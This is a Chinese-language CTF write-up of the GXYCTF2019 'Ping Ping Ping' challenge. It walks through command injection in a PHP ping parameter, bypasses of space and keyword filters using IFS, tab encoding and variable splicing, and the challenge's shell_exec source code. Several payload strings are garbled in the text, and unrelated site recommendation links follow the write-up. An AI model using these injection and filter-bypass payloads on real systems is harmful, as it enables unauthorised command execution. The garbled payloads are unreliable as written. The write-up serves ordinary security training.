[GXYCTF2019]Ping Ping Ping

该题考查的是,命令执行,/?ip=,最有可能的是远程命令执行(RCE)漏洞。

我们先尝试能不能进行命令执行

?ip=1;ls

发现确实存在漏洞

并且已经找到flag所在的文件名

我们尝试读取

?ip=1;cat flag.php

这里提示我们存在空格过滤

使用 ${IFS} 替代空格

使用 IFS9替代空格使用重定向符\<替代空格使用最后发现只有9 替代空格 使用重定向符 \< 替代空格 使用%09URL编码来代替空格 最后发现只有9替代空格使用重定向符\<替代空格使用最后发现只有IFS9可以绕过

但是flag似乎也被过滤了

现在没有思路并且不清楚还有什么事被限制的所以我们可以看看index.php中有没有提示

index.php中的似乎是源代码

php 复制代码
} else if(preg_match("/\&|\/|\?|\*|<|[\x00-\x20]|>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|<|[\x00-\x20]|>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");

使用 preg_match 函数通过正则表达式检查 $ip 变量中是否包含各种危险特殊符号。

匹配的黑名单包括:&、/、?、*、<、不可见控制字符(ASCII 码 0x00 到 0x20,如空格、Tab 等)、>、单引号 '、双引号 "、反斜杠 \、圆括号 ()、方括号 \[\] 和大括号 {}。

如果检测到上述任何符号,则输出匹配结果并终止程序,页面打印 fxck your symbol!

php 复制代码
} else if(preg_match("/ /", $ip)){
    die("fxck your space!");

使用正则检查 $ip 中是否包含普通的英文空格 。

如果包含空格,则拦截并终止程序,页面打印 fxck your space!

php 复制代码
} else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");

检查输入中是否含有字符串 bash。

如果含有,则拦截并终止程序,页面打印 fxck your bash!

php 复制代码
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
}

使用通配符正则检查是否按顺序包含了字母 f、l、a、g(这四个字母中间允许夹杂任意其他字符)。

只要触发了这个顺序,就会被拦截并终止程序,页面打印 fxck your flag!

php 复制代码
$a = shell_exec("ping -c 4 ".$ip);

如果前面的所有正则校验都顺利通过,后端会将用户输入的 $ip 变量直接拼接拼接到系统命令 "ping -c 4 " 后面。

使用 shell_exec 函数在底层操作系统(Linux Shell)中执行该复合命令,并将执行结果(标准输出)赋值给变量 $a

知道这些我们就可以构造payload:

?ip=1;a=ag;b=fl;tacIFS999ba.php

底层 Shell 还原: 传到后台后,Linux Shell 会先执行变量赋值,然后将 bbba.php 拼接还原成 flag.php,最终执行 cat 命令读取文件内容

相关推荐
ACP广源盛139246256731 小时前
项目评估记录:4K 远距离视频 Serdes 传输方案调研,GSV5800@ACP参数与工程问题记录
笔记·硬件架构·音视频·视频·国产芯片
事圆则缓1 小时前
Kotlin 异步与并发:从一次搜索请求走到状态流
android·开发语言·kotlin
深圳老胡2 小时前
C语言实现C++面向对象程序设计示例
笔记·stm32·单片机·代码规范
帅得不敢出门2 小时前
Android Framework定制卸载确认窗口
android
yuehuaxin013 小时前
LS8011C 快充协议芯片|SOT‑23‑6L 内置 431,PD3.2 SPR/PPS 适配器物料备选评估调试笔记
笔记·智能家居·适配器模式·智能硬件
巴巴媛6663 小时前
【Debug1】程序死机,while(1)循环,怎么办?
c语言·笔记·stm32·嵌入式硬件·bug
xian_wwq3 小时前
【学习笔记】Milvus 是什么?为什么 RAG 系统经常使用它?-14
笔记·学习·milvus
燕落南枝4 小时前
HTML 视频标签(video)详解笔记
笔记·html·音视频
Android-Flutter4 小时前
Compose 什么叫重组?怎么样触发重组?
android·compose